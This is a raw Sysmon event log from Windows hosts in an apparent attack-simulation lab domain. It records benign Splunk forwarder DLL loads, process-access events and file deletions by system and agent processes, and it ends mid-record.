734700x800000000000000056559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000056557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000056540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000056536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000056535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9F138BF1EF7AB43D466D0EB524FB867E,SHA256=875F0AB8129B9A5C86D9C6B93FF1776CD61B0703E847DB226663DBE05B8DD4B0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.565{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000056530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.564{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.564{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.564{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.564{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.564{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.563{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.562{7BD73061-74E5-613B-AA0B-00000000F001}4828C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000056523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:21.097{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=42ACBE379C261D08327AA8648C6934A0,SHA256=7A607C50ABE03820D89DEBBB3E1C25ABFF4D02951077A1B0D4C9B042A1F5A4C1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.743{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-063MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.696{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B18FDE49EA77D66111CF73CC6CDCB2C,SHA256=2E3CF0EFED89861549FF04783E43BA04BB5AD77580D90F407F2391CB4C5A94A0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.680{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=183811BA4F6524FA0F19968CEA2C4500,SHA256=E8D15CD1AEA72BF7FA9541A1644272ED82B0AD7292931BF7F9DA87674FFF3473,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:22.680{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9C9E0C2876A5C21ED73ACC96D0E2EAF5,SHA256=D79AFC02774C186724DC26F31EC3A80AB565995E8799E3481C92CE9424F7DC9E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018107Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:22.744{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 